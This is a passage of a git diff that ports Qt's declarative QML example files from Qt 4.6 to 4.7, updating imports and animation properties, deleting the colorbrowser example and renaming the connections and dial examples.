-    width: 400; height: 400
-
-    Rectangle {
-        color: "transparent"
-        anchors.centerIn: parent
-        width: 200; height: 200
-        radius: 30
-        border.width: 10; border.color: "white";
-
-        SideRect {
-            id: leftRect
-            anchors.verticalCenter: parent.verticalCenter
-            anchors.horizontalCenter: parent.left
-            text: "Left"
-        }
-
-        SideRect {
-            id: rightRect
-            anchors.verticalCenter: parent.verticalCenter
-            anchors.horizontalCenter: parent.right
-            text: "Right"
-        }
-
-        SideRect {
-            id: topRect
-            anchors.verticalCenter: parent.top
-            anchors.horizontalCenter: parent.horizontalCenter
-            text: "Top"
-        }
-
-        SideRect {
-            id: bottomRect
-            anchors.verticalCenter: parent.bottom
-            anchors.horizontalCenter: parent.horizontalCenter
-            text: "Bottom"
-        }
-
-
-        Rectangle {
-            id: focusRect
-
-            property string text
-
-            color: "red"
-            width: 75; height: 50
-            radius: 5
-            border.width: 10; border.color: "white";
-            x: 100-37; y: 100-25
-            Behavior on x { NumberAnimation { duration: 300 } }
-            Behavior on y { NumberAnimation { duration: 300 } }
-            Text {
-                id: focusText
-                text: focusRect.text;
-                Behavior on text {
-                    SequentialAnimation {
-                        NumberAnimation { target: focusText; property: "opacity"; to: 0; duration: 150 }
-                        PropertyAction {}
-                        NumberAnimation { target: focusText; property: "opacity"; to: 1; duration: 150 }
-                    }
-                }
-                anchors.centerIn: parent;
-                color: "white";
-                font.pixelSize: 16
-                font.bold: true
-            }
-        }
-    }
-}
diff --git a/examples/declarative/border-image/animated.qml b/examples/declarative/border-image/animated.qml
index 29c02b3..c3ff9ef 100644
--- a/examples/declarative/border-image/animated.qml
+++ b/examples/declarative/border-image/animated.qml
@@ -1,9 +1,8 @@
-import Qt 4.6
+import Qt 4.7
 import "content"
 
 Rectangle {
     id: page
-    color: "white"
     width: 1030; height: 540
 
     MyBorderImage {
diff --git a/examples/declarative/border-image/borders.qml b/examples/declarative/border-image/borders.qml
index 9879416..3743f7e 100644
--- a/examples/declarative/border-image/borders.qml
+++ b/examples/declarative/border-image/borders.qml
@@ -1,8 +1,7 @@
-import Qt 4.6
+import Qt 4.7
 
 Rectangle {
     id: page
-    color: "white"
     width: 520; height: 280
 
     BorderImage {
diff --git a/examples/declarative/border-image/content/MyBorderImage.qml b/examples/declarative/border-image/content/MyBorderImage.qml
index 5621e18..f65f093 100644
--- a/examples/declarative/border-image/content/MyBorderImage.qml
+++ b/examples/declarative/border-image/content/MyBorderImage.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 Item {
     property alias horizontalMode: image.horizontalTileMode
@@ -18,13 +18,13 @@ Item {
         id: image; x: container.width / 2 - width / 2; y: container.height / 2 - height / 2
 
         SequentialAnimation on width {
-            repeat: true
+            loops: Animation.Infinite
             NumberAnimation { from: container.minWidth; to: container.maxWidth; duration: 2000; easing.type: "InOutQuad"}
             NumberAnimation { from: container.maxWidth; to: container.minWidth; duration: 2000; easing.type: "InOutQuad" }
         }
 
         SequentialAnimation on height {
-            repeat: true
+            loops: Animation.Infinite
             NumberAnimation { from: container.minHeight; to: container.maxHeight; duration: 2000; easing.type: "InOutQuad"}
             NumberAnimation { from: container.maxHeight; to: container.minHeight; duration: 2000; easing.type: "InOutQuad" }
         }
diff --git a/examples/declarative/clocks/clocks.qml b/examples/declarative/clocks/clocks.qml
index 624748a..22cf820 100644
--- a/examples/declarative/clocks/clocks.qml
+++ b/examples/declarative/clocks/clocks.qml
@@ -1,13 +1,12 @@
-import Qt 4.6
+import Qt 4.7
 import "content"
 
 Rectangle {
-    width: childrenRect.width
-    height: childrenRect.height
+    width: 640; height: 240
     color: "#646464"
 
-    Grid {
-        columns: 3
+    Row {
+        anchors.centerIn: parent
         Clock { city: "New York"; shift: -4 }
         Clock { city: "Mumbai"; shift: 5.5 }
         Clock { city: "Tokyo"; shift: 9 }
diff --git a/examples/declarative/clocks/content/Clock.qml b/examples/declarative/clocks/content/Clock.qml
index 75a1cf5..3426e6a 100644
--- a/examples/declarative/clocks/content/Clock.qml
+++ b/examples/declarative/clocks/content/Clock.qml
@@ -1,20 +1,20 @@
-import Qt 4.6
+import Qt 4.7
 
 Item {
     id: clock
     width: 200; height: 230
 
     property alias city: cityLabel.text
-    property var hours
-    property var minutes
-    property var seconds
-    property var shift : 0
+    property variant hours
+    property variant minutes
+    property variant seconds
+    property variant shift : 0
     property bool night: false
 
     function timeChanged() {
         var date = new Date;
         hours = shift ? date.getUTCHours() + Math.floor(clock.shift) : date.getHours()
-        if ( hours < 7 || hours > 19 ) night = true; else night = false
+        night = ( hours < 7 || hours > 19 )
         minutes = shift ? date.getUTCMinutes() + ((clock.shift % 1) * 60) : date.getMinutes()
         seconds = date.getUTCSeconds();
     }
@@ -36,7 +36,7 @@ Item {
             origin.x: 7.5; origin.y: 73; angle: 0
             SpringFollow on angle {
                 spring: 2; damping: 0.2; modulus: 360
-                source: (clock.hours * 30) + (clock.minutes * 0.5)
+                to: (clock.hours * 30) + (clock.minutes * 0.5)
             }
         }
     }
@@ -50,7 +50,7 @@ Item {
             origin.x: 6.5; origin.y: 83; angle: 0
             SpringFollow on angle {
                 spring: 2; damping: 0.2; modulus: 360
-                source: clock.minutes * 6
+                to: clock.minutes * 6
             }
         }
     }
@@ -64,7 +64,7 @@ Item {
             origin.x: 2.5; origin.y: 80; angle: 0
             SpringFollow on angle {
                 spring: 5; damping: 0.25; modulus: 360
-                source: clock.seconds * 6
+                to: clock.seconds * 6
             }
         }
     }
@@ -74,7 +74,10 @@ Item {
     }
 
     Text {
-        id: cityLabel; font.bold: true; font.pixelSize: 14; y:200; color: "white"
-        anchors.horizontalCenter: parent.horizontalCenter
+        id: cityLabel
+        y: 200; anchors.horizontalCenter: parent.horizontalCenter
+        color: "white"
+        font.bold: true; font.pixelSize: 14
+        style: Text.Raised; styleColor: "black"
     }
 }
diff --git a/examples/declarative/colorbrowser/colorbrowser.qml b/examples/declarative/colorbrowser/colorbrowser.qml
deleted file mode 100644
index 421ae07..0000000
--- a/examples/declarative/colorbrowser/colorbrowser.qml
+++ /dev/null
@@ -1,101 +0,0 @@
-import Qt 4.6
-import 'qml'
-
-Rectangle {
-    id: mainWindow
-    width: 800; height: 480; color: '#454545'
-
-    VisualDataModel { id: colorsVisualModel; delegate: colorsDelegate; model: ColorsModel }
-
-    Component {
-        id: colorsDelegate
-        Package {
-
-            Item {
-                Package.name: 'grid'
-                GridView {
-                    id: gridView; model: visualModel.parts.grid; width: mainWindow.width; height: mainWindow.height
-                    cellWidth: 160; cellHeight: 160; interactive: false
-                    onCurrentIndexChanged: listView.positionViewAtIndex(currentIndex)
-                }
-            }
-
-            Item {
-                Package.name: 'fullscreen'
-                ListView {
-                    id: listView; model: visualModel.parts.list; orientation: Qt.Horizontal
-                    width: mainWindow.width; height: mainWindow.height; interactive: false
-                    onCurrentIndexChanged: gridView.positionViewAtIndex(currentIndex)
-                    highlightRangeMode: ListView.StrictlyEnforceRange; snapMode: ListView.SnapOneItem
-                }
-            }
-
-            Item {
-                Package.name: 'stack'
-                id: wrapper
-                width: 260; height: 240
-
-                VisualDataModel { id: visualModel; model: colors; delegate: ColorDelegate {} }
-
-                PathView {
-                    id: pathView; model: visualModel.parts.stack; anchors.centerIn: parent
-                    pathItemCount: 3
-                    path: Path {
-                        PathAttribute { name: 'z'; value: 9999.0 }
-                        PathLine { x: 1; y: 1 }
-                        PathAttribute { name: 'z'; value: 0.0 }
-                    }
-                }
-
-                Item {
-                    anchors.horizontalCenter: parent.horizontalCenter; anchors.bottom: parent.bottom; anchors.bottomMargin: 20
-                    width: albumTitle.width + 20 ; height: albumTitle.height + 4
-                    Text { id: albumTitle; text: name; color: 'white'; font.bold: true; anchors.centerIn: parent }
-                }
-
-                MouseArea { anchors.fill: parent; onClicked: wrapper.state = 'inGrid' }
-
-                states: [
-                State {
-                    name: 'inGrid'
-                    PropertyChanges { target: gridView; interactive: true }
-                    PropertyChanges { target: shade; opacity: 1 }
-                },
-                State {
-                    name: 'fullscreen'; extend: 'inGrid'
-                    PropertyChanges { target: gridView; interactive: false }
-                    PropertyChanges { target: listView; interactive: true }
-                    PropertyChanges { target: infobox; opacity: 1 }
-                }
-                ]
-
-                transitions: [
-                    Transition {
-                        from: ''; to: 'inGrid'; reversible: true
-                        NumberAnimation { target: shade; properties: 'opacity'; duration: 300 }
-                    },
-                    Transition {
-                        from: 'inGrid'; to: 'fullscreen'; reversible: true
-                        SequentialAnimation {
-                            PauseAnimation { duration: 300 }
-                            NumberAnimation { target: infobox; properties: 'opacity'; duration: 300 }
-                        }
-                    }
-                ]
-            }
-        }
-    }
-
-    GridView { width: parent.width; height: parent.height; cellWidth: 260; cellHeight: 240; model: colorsVisualModel.parts.stack }
-    Rectangle { id: shade; color: '#454545'; width: parent.width; height: parent.height; opacity: 0 }
-    ListView { anchors.fill: parent; model: colorsVisualModel.parts.grid; interactive: false }
-    ListView { anchors.fill: parent; model: colorsVisualModel.parts.fullscreen; interactive: false }
-    Item { id: foreground; anchors.fill: parent }
-
-    Column {
-        id: infobox; opacity: 0
-        anchors { left: parent.left; leftMargin: 20; bottom: parent.bottom; bottomMargin: 20 }
-        Text { id: infoColorName; color: '#eeeeee'; style: Text.Outline; styleColor: '#222222'; font.pointSize: 18 }
-        Text { id: infoColorHex; color: '#eeeeee'; style: Text.Outline; styleColor: '#222222'; font.pointSize: 14 }
-    }
-}
diff --git a/examples/declarative/colorbrowser/dummydata/ColorsModel.qml b/examples/declarative/colorbrowser/dummydata/ColorsModel.qml
deleted file mode 100644
index eefbcfe..0000000
--- a/examples/declarative/colorbrowser/dummydata/ColorsModel.qml
+++ /dev/null
@@ -1,96 +0,0 @@
-import Qt 4.6
-
-ListModel {
-    id: colorsModel
-
-    ListElement {
-        name: "Reds"
-        colors: [
-            ListElement { name: "Fire Brick"; hex: "#B22222" },
-            ListElement { name: "Fire Brick 1"; hex: "#FF3030" },
-            ListElement { name: "Fire Brick 2"; hex: "#EE2C2C" },
-            ListElement { name: "Fire Brick 3"; hex: "#CD2626" },
-            ListElement { name: "Fire Brick 4"; hex: "#8B1A1A" },
-            ListElement { name: "Red"; hex: "#FF0000" },
-            ListElement { name: "Red 2"; hex: "#EE0000" },
-            ListElement { name: "Red 3"; hex: "#CD0000" },
-            ListElement { name: "Red 4"; hex: "#8B0000" },
-            ListElement { name: "Tomato"; hex: "#FF6347" },
-            ListElement { name: "Tomato 2"; hex: "#EE5C42" },
-            ListElement { name: "Tomato 3"; hex: "#CD4F39" },
-            ListElement { name: "Tomato 4"; hex: "#8B3626" },
-            ListElement { name: "Orange Red"; hex: "#FF4500" },
-            ListElement { name: "Orange Red 2"; hex: "#EE4000" },
-            ListElement { name: "Orange Red 3"; hex: "#CD3700" },
-            ListElement { name: "Orange Red 4"; hex: "#8B2500" },
-            ListElement { name: "Indian Red 2"; hex: "#EE6363" },
-            ListElement { name: "Indian Red 3"; hex: "#CD5555" },
-            ListElement { name: "Indian Red 4"; hex: "#8B3A3A" },
-            ListElement { name: "Brown"; hex: "#A52A2A" },
-            ListElement { name: "Brown 1"; hex: "#FF4040" },
-            ListElement { name: "Brown 2"; hex: "#EE3B3B" },
-            ListElement { name: "Brown 3"; hex: "#CD3333" },
-            ListElement { name: "Brown 4"; hex: "#8B2323" }
-        ]
-    }
-    ListElement {
-        name: "Greens"
-        colors: [
-            ListElement { name: "Green"; hex: "#008000" },
-            ListElement { name: "Green 2"; hex: "#00EE00" },
-            ListElement { name: "Green 3"; hex: "#00CD00" },
-            ListElement { name: "Green 4"; hex: "#008B00" },
-            ListElement { name: "Dark Green"; hex: "#006400" },
-            ListElement { name: "Sap Green"; hex: "#308014" },
-            ListElement { name: "Medium Spring Green"; hex: "#00FA9A" },
-            ListElement { name: "Spring Green"; hex: "#00FF7F" },
-            ListElement { name: "Spring Green 1"; hex: "#00EE76" },
-            ListElement { name: "Spring Green 2"; hex: "#00CD66" },
-            ListElement { name: "Spring Green 3"; hex: "#008B45" },
-            ListElement { name: "Medium Sea Green"; hex: "#3CB371" },
-            ListElement { name: "Sea Green 1"; hex: "#54FF9F" },
-            ListElement { name: "Sea Green 2"; hex: "#4EEE94" },
-            ListElement { name: "Sea Green 3"; hex: "#43CD80" },
-            ListElement { name: "Sea Green 4"; hex: "#2E8B57" },
-            ListElement { name: "Emerald Green"; hex: "#00C957" },
-            ListElement { name: "Mint"; hex: "#BDFCC9" },
-            ListElement { name: "Cobalt Green"; hex: "#3D9140" },
-            ListElement { name: "Dark Sea Green"; hex: "#8FBC8F" },
-            ListElement { name: "Dark Sea Green 1"; hex: "#C1FFC1" },
-            ListElement { name: "Dark Sea Green 2"; hex: "#B4EEB4" },
-            ListElement { name: "Dark Sea Green 3"; hex: "#9BCD9B" },
-            ListElement { name: "Dark Sea Green 4"; hex: "#698B69" },
-            ListElement { name: "Lime Green"; hex: "#00FF00" }
-        ]
-    }
-    ListElement {
-        name: "Blues"
-        colors: [
-            ListElement { name: "Dark Slate Blue"; hex: "#483D8B" },
-            ListElement { name: "Light Slate Blue"; hex: "#8470FF" },
-            ListElement { name: "Medium Slate Blue"; hex: "#7B68EE" },
-            ListElement { name: "Slate Blue"; hex: "#6A5ACD" },
-            ListElement { name: "Blue"; hex: "#0000FF" },
-            ListElement { name: "Midnight Blue"; hex: "#191970" },
-            ListElement { name: "Cobalt"; hex: "#3D59AB" },
-            ListElement { name: "Royal Blue"; hex: "#4169E1" },
-            ListElement { name: "Corn Flower Blue"; hex: "#6495ED" },
-            ListElement { name: "Light Steel Blue"; hex: "#B0C4DE" },
-            ListElement { name: "Light Steel Blue 1"; hex: "#CAE1FF" },
-            ListElement { name: "Light Steel Blue 2"; hex: "#BCD2EE" },
-            ListElement { name: "Light Steel Blue 3"; hex: "#A2B5CD" },
-            ListElement { name: "Dodger Blue"; hex: "#1E90FF" },
-            ListElement { name: "Dodger Blue 2"; hex: "#1C86EE" },
-            ListElement { name: "Dodger Blue 3"; hex: "#1874CD" },
-            ListElement { name: "Dodger Blue 4"; hex: "#104E8B" },
-            ListElement { name: "Steel Blue"; hex: "#4682B4" },
-            ListElement { name: "Light Sky Blue"; hex: "#87CEFA" },
-            ListElement { name: "Sky Blue"; hex: "#87CEEB" },
-            ListElement { name: "Peacock"; hex: "#33A1C9" },
-            ListElement { name: "Light Blue"; hex: "#ADD8E6" },
-            ListElement { name: "Powder Blue"; hex: "#B0E0E6" },
-            ListElement { name: "Cadet Blue"; hex: "#5F9EA0" },
-            ListElement { name: "Cyan"; hex: "#00FFFF" }
-        ]
-    }
-}
diff --git a/examples/declarative/colorbrowser/qml/ColorDelegate.qml b/examples/declarative/colorbrowser/qml/ColorDelegate.qml
deleted file mode 100644
index c123d12..0000000
--- a/examples/declarative/colorbrowser/qml/ColorDelegate.qml
+++ /dev/null
@@ -1,114 +0,0 @@
-import Qt 4.6
-
-Package {
-    Item { id: stack; Package.name: 'stack'; width: 110; height: 110; z: stack.PathView.z }
-    Item { id: list; Package.name: 'list'; width: mainWindow.width + 4; height: 110 }
-    Item { id: grid; Package.name: 'grid'; width: 110; height: 110 }
-
-    Item {
-        id: delegate
-
-        property double randomAngle: Math.random() * (2 * 8 + 1) - 8
-        property bool open: false
-
-        width: 110; height: 110; z: stack.PathView.z
-
-        Image { x: -6; y: -5; source: 'box-shadow.png'; smooth: true;  }
-        Rectangle { color: hex; anchors.fill: parent; smooth: true }
-        Image { id: box; source: 'box.png'; smooth: true; anchors.fill: parent }
-
-        Binding {
-            target: infoColorName; property: 'text'
-            value: name; when: delegate.open && list.ListView.isCurrentItem
-        }
-
-        Binding {
-            target: infoColorHex; property: 'text'
-            value: hex; when: delegate.open && list.ListView.isCurrentItem
-        }
-
-        MouseArea {
-            anchors.fill: parent
-            acceptedButtons: Qt.RightButton | Qt.LeftButton
-            onClicked: {
-                if (wrapper.state == 'inGrid' && mouse.button == Qt.RightButton) {
-                    wrapper.state = ''
-                } else if (wrapper.state == 'inGrid') {
-                    grid.GridView.view.currentIndex = index;
-                    wrapper.state = 'fullscreen'
-                } else {
-                    grid.GridView.view.currentIndex = index;
-                    wrapper.state = 'inGrid'
-                }
-            }
-        }
-
-        states: [
-        State {
-            name: 'stacked'; when: wrapper.state == ''
-            ParentChange { target: delegate; parent: stack; x: 0; y: 0; rotation: delegate.randomAngle }
-            PropertyChanges { target: delegate; visible: stack.PathView.onPath ? 1.0 : 0.0 }
-        },
-        State {
-            name: 'inGrid'; when: wrapper.state == 'inGrid'
-            ParentChange { target: delegate; parent: grid; x: 24; y: 24 }
-            PropertyChanges { target: delegate; open: true }
-        },
-        State {
-            name: 'fullscreen'; when: wrapper.state == 'fullscreen'
-            ParentChange { target: delegate; parent: list; x: 0; y: 0; width: mainWindow.width; height: mainWindow.height }
-            PropertyChanges { target: box; opacity: 0 }
-            PropertyChanges { target: delegate; open: true }
-        }
-        ]
-
-        transitions: [
-        Transition {
-            from: 'stacked'; to: 'inGrid'
-            SequentialAnimation {
-                PauseAnimation { duration: 20 * index }
-                ParentAnimation {
-                    target: delegate; via: foreground
-                    NumberAnimation { targets: delegate; properties: 'x,y,width,height,rotation'; duration: 600; easing.type: 'OutBack' }
-                }
-            }
-        },
-        Transition {
-            from: 'inGrid'; to: 'stacked'
-            ParentAnimation {
-                target: delegate; via: foreground
-                NumberAnimation { properties: 'x,y,width,height,rotation'; duration: 300; easing.type: 'InOutQuad' }
-            }
-        },
-        Transition {
-            from: 'inGrid'; to: 'fullscreen'
-            SequentialAnimation {
-                PauseAnimation { duration: grid.GridView.isCurrentItem ? 0 : 300 }
-                ParentAnimation {
-                    target: delegate; via: foreground
-                    NumberAnimation {
-                        properties: 'x,y,width,height,opacity'
-                        duration: grid.GridView.isCurrentItem ? 300 : 1; easing.type: 'InOutQuad'
-                    }
-                }
-            }
-        },
-        Transition {
-            from: 'fullscreen'; to: 'inGrid'
-            SequentialAnimation {
-                PauseAnimation { duration: grid.GridView.isCurrentItem ? 3 : 0 }
-                ParallelAnimation {
-                    ParentAnimation {
-                        target: delegate; via: foreground
-                        NumberAnimation {
-                            properties: 'x,y,width,height'
-                            duration: grid.GridView.isCurrentItem ? 300 : 1; easing.type: 'InOutQuad'
-                        }
-                    }
-                    NumberAnimation { properties: 'opacity'; duration: grid.GridView.isCurrentItem ? 300 : 1; easing.type: 'InOutQuad' }
-                }
-            }
-        }
-        ]
-    }
-}
diff --git a/examples/declarative/colorbrowser/qml/box-shadow.png b/examples/declarative/colorbrowser/qml/box-shadow.png
deleted file mode 100644
index 3281a37..0000000
--- a/examples/declarative/colorbrowser/qml/box-shadow.png
+++ /dev/null
diff --git a/examples/declarative/colorbrowser/qml/box.png b/examples/declarative/colorbrowser/qml/box.png
deleted file mode 100644
index 86538aa..0000000
--- a/examples/declarative/colorbrowser/qml/box.png
+++ /dev/null
diff --git a/examples/declarative/connections/connections-example.qml b/examples/declarative/connections/connections-example.qml
new file mode 100644
index 0000000..fbef968
--- /dev/null
+++ b/examples/declarative/connections/connections-example.qml
@@ -0,0 +1,38 @@
+import Qt 4.7
+import "content"
+
+Rectangle {
+    id: window
+
+    property int angle: 0
+
+    width: 640; height: 480
+    color: "#646464"
+
+    Image {
+        id: image
+        source: "content/bg1.jpg"
+        anchors.centerIn: parent
+        transformOrigin: Item.Center
+        rotation: window.angle
+
+        Behavior on rotation {
+            NumberAnimation { easing.type: "OutCubic"; duration: 300 }
+        }
+    }
+
+    Button {
+        id: leftButton
+        image: "content/rotate-left.png"
+        anchors { left: parent.left; bottom: parent.bottom; leftMargin: 10; bottomMargin: 10 }
+    }
+
+    Button {
+        id: rightButton
+        image: "content/rotate-right.png"
+        anchors { right: parent.right; bottom: parent.bottom; rightMargin: 10; bottomMargin: 10 }
+    }
+
+    Connections { target: leftButton; onClicked: window.angle -= 90 }
+    Connections { target: rightButton; onClicked: window.angle += 90 }
+}
diff --git a/examples/declarative/connections/connections.qml b/examples/declarative/connections/connections.qml
deleted file mode 100644
index c35bda5..0000000
--- a/examples/declarative/connections/connections.qml
+++ /dev/null
@@ -1,27 +0,0 @@
-import Qt 4.6
-import "content"
-
-Rectangle {
-    id: window; color: "#646464"
-    width: 640; height: 480
-
-    property int angle: 0
-
-    Image {
-        id: image; source: "content/bg1.jpg"; anchors.centerIn: parent; transformOrigin: Item.Center
-	rotation: window.angle
-        Behavior on rotation { NumberAnimation { easing.type: "OutCubic"; duration: 300 } }
-    }
-
-    Button {
-        id: leftButton; image: "content/rotate-left.png"
-        anchors { left: parent.left; bottom: parent.bottom; leftMargin: 10; bottomMargin: 10 }
-    }
-    Button {
-        id: rightButton; image: "content/rotate-right.png"
-        anchors { right: parent.right; bottom: parent.bottom; rightMargin: 10; bottomMargin: 10 }
-    }
-
-    Connections { target: leftButton; onClicked: window.angle -= 90 }
-    Connections { target: rightButton; onClicked: window.angle += 90 }
-}
diff --git a/examples/declarative/connections/content/Button.qml b/examples/declarative/connections/content/Button.qml
index 0e33c78..f95afbb 100644
--- a/examples/declarative/connections/content/Button.qml
+++ b/examples/declarative/connections/content/Button.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 Item {
     id: button
diff --git a/examples/declarative/declarative.pro b/examples/declarative/declarative.pro
index b8c0200..98ea6c4 100644
--- a/examples/declarative/declarative.pro
+++ b/examples/declarative/declarative.pro
@@ -5,22 +5,25 @@ SUBDIRS = \
    extending \
    imageprovider \
    objectlistmodel \
-   plugins
+   plugins \
+   proxywidgets
+
+# plugins uses a 'Time' class that conflicts with symbian e32std.h also defining a class of the same name
+symbian:SUBDIRS -= plugins
 
 # These examples contain no C++ and can simply be copied
 sources.files = \
    animations \
    aspectratio \
-   behaviours \
+   behaviors \
    border-image \
    clocks \
-   colorbrowser \
    connections \
    dial \
    dynamic \
    effects \
    fillmode \
-   focusscope \
+   focus \
    fonts \
    gridview \
    layouts \
diff --git a/examples/declarative/dial/content/Dial.qml b/examples/declarative/dial/content/Dial.qml
index ad4717a..f9ab3e3 100644
--- a/examples/declarative/dial/content/Dial.qml
+++ b/examples/declarative/dial/content/Dial.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 Item {
     id: root
@@ -29,7 +29,7 @@ Item {
             SpringFollow on angle {
                 spring: 1.4
                 damping: .15
-                source: Math.min(Math.max(-130, root.value*2.6 - 130), 133)
+                to: Math.min(Math.max(-130, root.value*2.6 - 130), 133)
             }
         }
     }
diff --git a/examples/declarative/dial/dial-example.qml b/examples/declarative/dial/dial-example.qml
new file mode 100644
index 0000000..fd899a5
--- /dev/null
+++ b/examples/declarative/dial/dial-example.qml
@@ -0,0 +1,44 @@
+import Qt 4.7
+import "content"
+
+Rectangle {
+    color: "#545454"
+    width: 300; height: 300
+
+    // Dial with a slider to adjust it
+    Dial {
+        id: dial
+        anchors.centerIn: parent
+        value: slider.x * 100 / (container.width - 34)
+    }
+
+    Rectangle {
+        id: container
+        anchors { bottom: parent.bottom; left: parent.left; right: parent.right; leftMargin: 20; rightMargin: 20; bottomMargin: 10 }
+        height: 16
+
+        radius: 8
+        opacity: 0.7
+        smooth: true
+        gradient: Gradient {
+            GradientStop { position: 0.0; color: "gray" }
+            GradientStop { position: 1.0; color: "white" }
+        }
+
+        Rectangle {
+            id: slider
+            x: 1; y: 1; width: 30; height: 14
+            radius: 6
+            smooth: true
+            gradient: Gradient {
+                GradientStop { position: 0.0; color: "#424242" }
+                GradientStop { position: 1.0; color: "black" }
+            }
+
+            MouseArea {
+                anchors.fill: parent
+                drag.target: parent; drag.axis: "XAxis"; drag.minimumX: 2; drag.maximumX: container.width - 32
+            }
+        }
+    }
+}
diff --git a/examples/declarative/dial/dial.qml b/examples/declarative/dial/dial.qml
deleted file mode 100644
index 3aed70e..0000000
--- a/examples/declarative/dial/dial.qml
+++ /dev/null
@@ -1,35 +0,0 @@
-import Qt 4.6
-import "content"
-
-Rectangle {
-    color: "#545454"
-    width: 300; height: 300
-
-    // Dial with a slider to adjust it
-    Dial { id: dial; anchors.centerIn: parent; value: slider.x *100 / (container.width - 34) }
-
-    Rectangle {
-        id: container
-        anchors.bottom: parent.bottom; anchors.bottomMargin: 10
-        anchors.left: parent.left; anchors.leftMargin: 20
-        anchors.right: parent.right; anchors.rightMargin: 20; height: 16
-        gradient: Gradient {
-            GradientStop { position: 0.0; color: "gray" }
-            GradientStop { position: 1.0; color: "white" }
-        }
-        radius: 8; opacity: 0.7; smooth: true
-        Rectangle {
-            id: slider
-            x: 1; y: 1; width: 30; height: 14
-            radius: 6; smooth: true
-            gradient: Gradient {
-                GradientStop { position: 0.0; color: "#424242" }
-                GradientStop { position: 1.0; color: "black" }
-            }
-            MouseArea {
-                anchors.fill: parent
-                drag.target: parent; drag.axis: "XAxis"; drag.minimumX: 2; drag.maximumX: container.width - 32
-            }
-        }
-    }
-}
diff --git a/examples/declarative/dynamic/dynamic.qml b/examples/declarative/dynamic/dynamic.qml
index 6af3e81..eea528f 100644
--- a/examples/declarative/dynamic/dynamic.qml
+++ b/examples/declarative/dynamic/dynamic.qml
@@ -1,4 +1,5 @@
-import Qt 4.6
+import Qt 4.7
+import Qt.labs.particles 1.0
 import "qml"
 
 Item {
@@ -59,7 +60,7 @@ Item {
         width: 480
         anchors { right: parent.right; top:parent.top; bottom: parent.bottom }
         Rectangle { //Not a child of any positioner
-            color: "white"; border.color: "black";
+            border.color: "black";
             width: toolRow.width + 4
             height: toolRow.height + 4
             x: toolboxPositioner.x + toolRow.x - 2
@@ -109,7 +110,7 @@ Item {
                 focusOnPress: true
                 font.pixelSize: 14
 
-                text: "import Qt 4.6\nImage {\n  id: smile;\n  x: 500*Math.random();\n  y: 200*Math.random(); \n  source: 'images/face-smile.png';\n  NumberAnimation on opacity { \n    to: 0; duration: 1500;\n  }\n   Component.onCompleted: smile.destroy(1500);\n}"
+                text: "import Qt 4.7\nImage {\n  id: smile;\n  x: 500*Math.random();\n  y: 200*Math.random(); \n  source: 'images/face-smile.png';\n  NumberAnimation on opacity { \n    to: 0; duration: 1500;\n  }\n   Component.onCompleted: smile.destroy(1500);\n}"
             }
             Button {
                 text: "Create"
diff --git a/examples/declarative/dynamic/qml/Button.qml b/examples/declarative/dynamic/qml/Button.qml
index 757e295..53588bb 100644
--- a/examples/declarative/dynamic/qml/Button.qml
+++ b/examples/declarative/dynamic/qml/Button.qml
@@ -1,9 +1,9 @@
-import Qt 4.6
+import Qt 4.7
 
 Rectangle {
     id: container
 
-    property var text
+    property variant text
     signal clicked
 
     SystemPalette { id: activePalette }
diff --git a/examples/declarative/dynamic/qml/GenericItem.qml b/examples/declarative/dynamic/qml/GenericItem.qml
index 10e3dba..faac06d 100644
--- a/examples/declarative/dynamic/qml/GenericItem.qml
+++ b/examples/declarative/dynamic/qml/GenericItem.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 Item{
     property bool created: false
diff --git a/examples/declarative/dynamic/qml/PaletteItem.qml b/examples/declarative/dynamic/qml/PaletteItem.qml
index 8a9a9ee..e8f2ed4 100644
--- a/examples/declarative/dynamic/qml/PaletteItem.qml
+++ b/examples/declarative/dynamic/qml/PaletteItem.qml
@@ -1,13 +1,13 @@
-import Qt 4.6
+import Qt 4.7
+import "itemCreation.js" as Code
 
 GenericItem {
     id: itemButton
     property string file
-    Script { source: "itemCreation.js" }
     MouseArea { 
         anchors.fill: parent; 
-        onPressed: startDrag(mouse);
-        onPositionChanged: moveDrag(mouse);
-        onReleased: endDrag(mouse);
+        onPressed: Code.startDrag(mouse);
+        onPositionChanged: Code.moveDrag(mouse);
+        onReleased: Code.endDrag(mouse);
     }
 }
diff --git a/examples/declarative/dynamic/qml/PerspectiveItem.qml b/examples/declarative/dynamic/qml/PerspectiveItem.qml
index a0dfad3..3cbe64a 100644
--- a/examples/declarative/dynamic/qml/PerspectiveItem.qml
+++ b/examples/declarative/dynamic/qml/PerspectiveItem.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 Image {
     id: tree
diff --git a/examples/declarative/dynamic/qml/Sun.qml b/examples/declarative/dynamic/qml/Sun.qml
index 81b6e9b..3627964 100644
--- a/examples/declarative/dynamic/qml/Sun.qml
+++ b/examples/declarative/dynamic/qml/Sun.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 Image {
     id: sun
diff --git a/examples/declarative/effects/effects.qml b/examples/declarative/effects/effects.qml
index 997d7de..feb7c69 100644
--- a/examples/declarative/effects/effects.qml
+++ b/examples/declarative/effects/effects.qml
@@ -1,9 +1,7 @@
-import Qt 4.6
+import Qt 4.7
 
 Rectangle {
-    color: "white"
-    width: 400
-    height: 200
+    width: 400; height: 200
 
     Image {
         id: blur
@@ -16,7 +14,7 @@ Rectangle {
                 running: false
                 from: 0; to: 10
                 duration: 1000
-                repeat: true
+                loops: Animation.Infinite
             }
         }
 
@@ -33,7 +31,14 @@ Rectangle {
         effect: DropShadow {
             blurRadius: 3
             offset.x: 3
-            NumberAnimation on offset.y { id: dropShadowEffect; from: 0; to: 10; duration: 1000; running: false; repeat: true; }
+
+            NumberAnimation on offset.y {
+                id: dropShadowEffect
+                from: 0; to: 10
+                duration: 1000
+                running: false
+                loops: Animation.Infinite
+            }
         }
 
         MouseArea { anchors.fill: parent; onClicked: dropShadowEffect.running = !dropShadowEffect.running }
diff --git a/examples/declarative/extending/adding/main.cpp b/examples/declarative/extending/adding/main.cpp
index 76e0736..b9e5aa3 100644
--- a/examples/declarative/extending/adding/main.cpp
+++ b/examples/declarative/extending/adding/main.cpp
@@ -48,7 +48,7 @@ int main(int argc, char ** argv)
 {
     QCoreApplication app(argc, argv);
 
-    QML_REGISTER_TYPE(People, 1,0, Person, Person);
